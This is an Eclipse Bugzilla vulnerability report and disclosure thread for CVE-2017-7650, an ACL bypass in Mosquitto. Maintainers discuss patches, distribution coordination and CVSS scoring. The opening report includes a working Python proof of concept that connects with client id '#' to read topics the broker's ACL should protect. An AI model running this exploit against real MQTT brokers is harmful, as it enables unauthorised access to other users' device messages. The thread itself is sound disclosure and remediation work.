This Bugzilla instance closed for new bug entry. Eclipse projects now use GitHub or Eclipse GitLab. Please locate your project of interest with the Projects search tool to find the best location for that project's code and issues.
Bug 516765 (CVE-2017-7650) - CVE-2017-7650: Eclipse Mosquitto ACL security issue
Summary: CVE-2017-7650: Eclipse Mosquitto ACL security issue
Status: RESOLVED FIXED
Alias: CVE-2017-7650
Product: Community
Classification: Eclipse Foundation
Component: Vulnerability Reports (show other bugs)
Version: unspecified   Edit
Hardware: All All
: P3 critical (vote)
Target Milestone: ---   Edit
Assignee: Security vulnerabilitied reported against Eclipse projects CLA
QA Contact:
URL:
Whiteboard:
Keywords: security
: 516778 (view as bug list)
Depends on:
Blocks:
 
Reported: 2017-05-16 17:12 EDT by Benjamin Cabé CLA
Modified: 2018-02-25 16:52 EST (History)
3 users (show)

See Also:


Attachments
Initial patch (1.18 KB, patch)
2017-05-17 10:38 EDT, Roger Light CLA
no flags Details | Diff
Updated patch (against 1.4.11) (3.02 KB, patch)
2017-05-17 17:38 EDT, Roger Light CLA
no flags Details | Diff
Final patch to be released for 1.4.x. (2.10 KB, patch)
2017-05-29 04:38 EDT, Roger Light CLA
no flags Details | Diff
CVE Information File (591 bytes, text/plain)
2017-06-28 16:55 EDT, Wayne Beaton CLA
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Benjamin Cabé CLA 2017-05-16 17:12:11 EDT
From the security@eclipse.org mailing list:

Hi,

There is a bug in ACLs based on pattern substitution.

A user can insert wildcard symbols (‘#’ or ‘+’) into client_id or username. And thus he can bypass ACL check.

There is an ACL rule in acl.conf:
===========================================================================================
pattern readwrite house/authorization/%c
...
===========================================================================================
And simple sploit.py:

#!/usr/bin/env python3
  
import paho.mqtt.client as mqtt
import sys

def on_connect(client, userdata, flags, rc):
    print("Connected to MQTT broker.")
    client.subscribe("#")
    print("Subscribed to topic '#'.")
    print("Waiting for messages...")

def on_message(client, userdata, msg):
    print(msg.payload)

def exploit(host):
    client = mqtt.Client(client_id="#", clean_session=True)

    client.on_connect = on_connect
    client.on_message = on_message

    print("Connecting to MQTT broker on %s" % host)
    client.connect(host, 1883, 60)
    client.loop_forever()


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print('USAGE: %s <host>' % sys.argv[0])
        exit(-1)

    sys.exit(exploit(sys.argv[1]))


POC shows that user can read all messages from 'house/authorization/#’ bypassing ACL rule.
===========================================================================================

What do you think, should we register CVE for this issue?
Mosquitto is a very popular product, it seems to me that we should.

Best regards,
Artem
Comment 1 Benjamin Cabé CLA 2017-05-16 17:14:08 EDT
Roger, can you help here? I didn't have time to test and reproduce myself, but if the issue is really as described then it should be fixed ASAP and a CVE registered.
Comment 2 Roger Light CLA 2017-05-16 18:03:45 EDT
I've not looked at the code, but that looks very very likely to be true.

We need a bit of a discussion on what the best approach to fixing it is.
Comment 3 Jens Reimann CLA 2017-05-17 03:43:48 EDT
*** Bug 516778 has been marked as a duplicate of this bug. ***
Comment 4 Jens Reimann CLA 2017-05-17 03:45:02 EDT
Sorry opening a second bug for this. I think it would be good to announce such things on the mailing list as well.

I was able to reproduce this easily. I think we should assign a CVE for this.
Comment 5 Roger Light CLA 2017-05-17 10:38:33 EDT
Created attachment 268410 [details]
Initial patch

This is a patch which I believe prevents the issue. When pattern based ACLs are in use, it modifies the ACL checking code to look for the presence of a +, #, or / in the username or client id. If any of these are found, it denies the request.

This is one approach, there are others. In some ways I would prefer to just deny usernames and client ids with a +, #, or / in them but that is probably beyond the scope of just mosquitto to decide upon.
Comment 6 Jens Reimann CLA 2017-05-17 10:40:14 EDT
Any objections for assigning a CVE? That way we can properly reference this.
Comment 7 Roger Light CLA 2017-05-17 10:51:09 EDT
I've not had to do this before thankfully, if we assign a CVE does it stay private until we're ready to update everything? If that's the case, then please go ahead.

This same issue will affect authentication plugins as well. An alternative/addition to the patch would be to deny all PUBLISH sending or receiving for clients with +#/ when an auth plugin is in use. Less flexible, but it covers all of the bases.
Comment 8 Jens Reimann CLA 2017-05-17 10:53:57 EDT
Yes that is the idea. Assigning a CVE allows you to reference to this issue by a publicly known ID, without disclosing what this is about. You can put this in release notes etc and at some point in the future disclose the issue.
Comment 9 Jens Reimann CLA 2017-05-17 11:16:09 EDT
Looking at the MQTT spec I think you can easily reject those special cases:

---
3.1.3.1 Client Identifier

The Server MUST allow ClientIds which are between 1 and 23 UTF-8 encoded bytes in length, and that contain only the characters

"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" [MQTT-3.1.3-5].
---
Comment 10 Roger Light CLA 2017-05-17 16:05:01 EDT
True, but at the moment some clients including mosquitto_pub/sub can automatically generate client ids with a '/' in. I don't want to break everything for existing clients quite yet.

That's something else that will need changing of course.
Comment 11 Roger Light CLA 2017-05-17 17:38:42 EDT
Created attachment 268419 [details]
Updated patch (against 1.4.11)
Comment 12 Roger Light CLA 2017-05-17 17:57:48 EDT
My plan is to release a fixed version 1.4.12 and to get patches into places that have past versions of mosquitto packaged. So far I know this affects:

* Mac Homebrew (will provide 1.4.12)
* Debian (stable: 1.3.4, needs patch; testing: 1.4.10, patch)
* Ubuntu (16.04: 1.4.8, patch; 16.10: 1.4.8, patch; 17.04: 1.4.10, patch; 17.10: 1.4.10 - will push 1.4.12)
* Fedora (24-26, EPEL 7: 1.4.11, not sure whether patch or push to 1.4.12 is possible)
* Openwrt (unsure of current status, either patch or new version)

I'm not sure what else is necessary outside of that.
Comment 13 Jens Reimann CLA 2017-05-18 03:15:02 EDT
I can try to get some contact for Fedora if that helps.

Aside from that it might be good to communicate some feedback to the original reporter.
Comment 14 Jens Reimann CLA 2017-05-18 04:15:39 EDT
I forwarded this to secalert@redhat.com
Comment 15 Jens Reimann CLA 2017-05-18 04:57:39 EDT
@Roger: Please inform secalert@redhat.com referring to this CVE once the patch is made publicly available. If you don't want to do that, I can of course do that for you.
Comment 16 Roger Light CLA 2017-05-24 09:36:56 EDT
A bit of an update:

This affects mosquitto versions from 0.15 to 1.4.11 inclusive.

I have patches for versions of mosquitto currently in Linux distributions, namely 0.15, 1.3.4 and 1.4.x. After some thought the updated patch above is a bit too restrictive.

The bug also has a potential to manifest itself in third party plugins, so the patches deny access to users with invalid usernames/client ids so the plugin will not be vulnerable.

Debian and Ubuntu security are aware of the issue. I have submitted private patches to them for review. I still need to prepare updated packages for Debian old stable and Debian testing.

Work still to be done: Preparation of 1.4.12 including the fix, and then packaging of that release for all platforms the project supports (Debian, Ubuntu, Windows, Mac, Opensuse build service).

At that point everything from the Mosquitto side is ready.

What else needs doing? How do we deal with the CVE side of things?

Should I send the patch to the Fedora contact before it is public?
Comment 17 Jens Reimann CLA 2017-05-24 09:45:19 EDT
That sounds great.

Regarding the CVE, we still need to score this one and prepare the report. Wayne will need to submit the CVE then to the parent CNA.

For Fedora I would suggest that you directly contact "secalert@redhat.com", referring to the CVE ID and offering a patch before the release. They mentioned that they also will pick it up once an upstream release has been made. If you want me to do that, I can of course help.
Comment 18 Jens Reimann CLA 2017-05-24 10:09:27 EDT
Here is a link the CVSS calculator, if you want to give it a try:

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Comment 19 Roger Light CLA 2017-05-24 10:39:49 EDT
Thanks for the offer but it's ok, I've emailed secalert the patch now.

With regards a report, this is what I've put together so far covering the bases that were important for Debian, but I've no idea on format or what is required for a CVE.

Pattern based ACLs can be bypassed by clients that set their username/client id
to '#' or '+'. This allows locally or remotely connected clients to access MQTT
topics that they do have the rights to. The same issue may be present in third
party authentication/access control plugins for Mosquitto.

This issue affects all versions of Mosquitto 0.15 to 1.4.11 inclusive. It only
comes into effect where pattern based ACLs are in use, or potentially where
third party plugins are in use.

Version 1.4.12 of Mosquitto fixes the problem.

The fix addresses the problem by restricting access for clients with a '#',
'+', or '/' in their username or client id. '/' has been included in the list
of characters disallowed because it also has a special meaning in a topic and
may represent an additional risk. The restriction placed on clients is that
they may not receive or send messages that are subject to a pattern based ACL
check, nor any message that is subject to a plugin check.
Comment 20 Roger Light CLA 2017-05-24 10:44:13 EDT
The CVSS calculator is tricky. Compare these:

"There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact."

"There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component." 

I'd say that some restricted information is obtained, and I can't comment on the impact. Presumably in this case I need to take the most pessimistic viewpoint?
Comment 21 Roger Light CLA 2017-05-24 10:52:13 EDT
My most pessimistic attempt is:

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:H/RL:O/RC:C/CR:M/IR:M/AR:L/MAV:N/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:N

This assumes that pattern ACLs are in use and that all information is extremely important.
Comment 22 Jens Reimann CLA 2017-05-24 11:06:11 EDT
Hm, seems that way. I was thinking about setting "Integrity Impact (I)" to low. But I guess it depends on what you actually access. In theory you could actually get privileged command and control capabilities over an attached device.

So in the end I do follow your assessment.

+1 from me
Comment 23 Roger Light CLA 2017-05-24 11:09:20 EDT
Yes exactly, but it could equally be as inocuous as "living room temperature sensor can report a reading for the kitchen temperature sensor instead".

I think the report should highlight that the type of access is not changed, so if the pattern ACL offers up read access only then it is not possible to get write access through this vulnerability.
Comment 24 Jens Reimann CLA 2017-05-24 11:18:57 EDT
I agree. I guess you can put that in the report.

Looking at a similar issue, they come to the same score:

https://nvd.nist.gov/vuln/detail/CVE-2016-9877
Comment 25 Roger Light CLA 2017-05-25 17:55:57 EDT
I'm planning on going public on Monday around about noon.
Comment 26 Roger Light CLA 2017-05-29 04:38:08 EDT
Created attachment 268603 [details]
Final patch to be released for 1.4.x.
Comment 27 Roger Light CLA 2017-05-29 04:40:02 EDT
I think I've got everything in order, including third parties, and will be going public as close to 11:00 UTC as I can manage. I'll post a comment on here when that is done.
Comment 28 Roger Light CLA 2017-05-29 08:48:17 EDT
This is now public.
Comment 29 Jens Reimann CLA 2017-05-29 08:57:43 EDT
Do you have a URL for tracking this?
Comment 30 Roger Light CLA 2017-05-29 09:01:21 EDT
Sorry, I'm not quite sure what you're asking. What tracking are you referring to?

http://mosquitto.org/2017/05/security-advisory-cve-2017-7650/ is the announcement post.
Comment 31 Jens Reimann CLA 2017-05-29 09:06:04 EDT
Yes, that is what I was looking for! :)

Big thanks!
Comment 32 Wayne Beaton CLA 2017-06-28 16:55:05 EDT
Created attachment 269107 [details]
CVE Information File